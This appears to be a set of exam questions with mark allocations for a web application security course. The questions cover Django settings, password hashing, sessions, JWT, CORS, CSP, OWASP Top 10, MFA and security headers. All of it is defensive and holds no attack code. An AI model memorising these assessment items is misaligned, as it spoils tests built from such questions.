What are environment variables? Explain why sensitive information like database passwords and API keys should be stored in environment variables instead of source code. Demonstrate how to use environment variables in Django settings. [2+4+2]
Differentiate between authentication and authorization. Explain why storing passwords in plain text is dangerous. Describe the concept of password hashing and its key properties. [2+2+4]
What is password salting? Explain why simple hash functions like MD5 are not suitable for password hashing. Compare any two modern password hashing algorithms (bcrypt, Argon2, PBKDF2, or scrypt). [2+3+3]
Explain session-based authentication and its working mechanism. Describe three session security concerns (session hijacking, session fixation, and session prediction) and their prevention methods. [4+4]
What is token-based authentication? Explain four advantages of token-based authentication over session-based authentication. Describe the token-based authentication flow. [2+4+2]
Define JSON Web Token (JWT). Explain the three components of a JWT (header, payload, and signature). Describe why the signature is important for JWT security. [2+4+2]
Differentiate between symmetric (HMAC) and asymmetric (RSA) JWT signing algorithms. Explain four security considerations when implementing JWT authentication. [4+4]
What are refresh tokens? Explain the problem that refresh tokens solve in token-based authentication. Describe four security measures for handling refresh tokens. [2+2+4]
Define Same-Origin Policy (SOP). Explain what constitutes "same origin" with examples. Describe what SOP restricts and what it allows in web browsers. [2+3+3]
What is Cross-Origin Resource Sharing (CORS)? Differentiate between simple requests and preflight requests. Explain four CORS response headers and their purposes. [2+2+4]
Explain session hardening techniques including: session ID regeneration after login, session timeout implementation, and session binding. Write Django configuration for implementing session timeouts. [6+2]
What is Content Security Policy (CSP)? Explain four CSP directives and their purposes. Describe how CSP helps prevent XSS attacks. [2+4+2]
Define the OWASP Top 10. List and briefly explain any four vulnerabilities from the OWASP Top 10 (2021 edition). Explain why developers should be aware of the OWASP Top 10. [2+4+2]
What is Multi-Factor Authentication (MFA)? Explain the three categories of authentication factors with examples. Describe how Time-Based One-Time Passwords (TOTP) work. [2+3+3]
Explain the following browser security headers: X-Frame-Options, X-Content-Type-Options, Referrer-Policy, and Permissions-Policy. Write Django settings to implement these security headers. [6+2]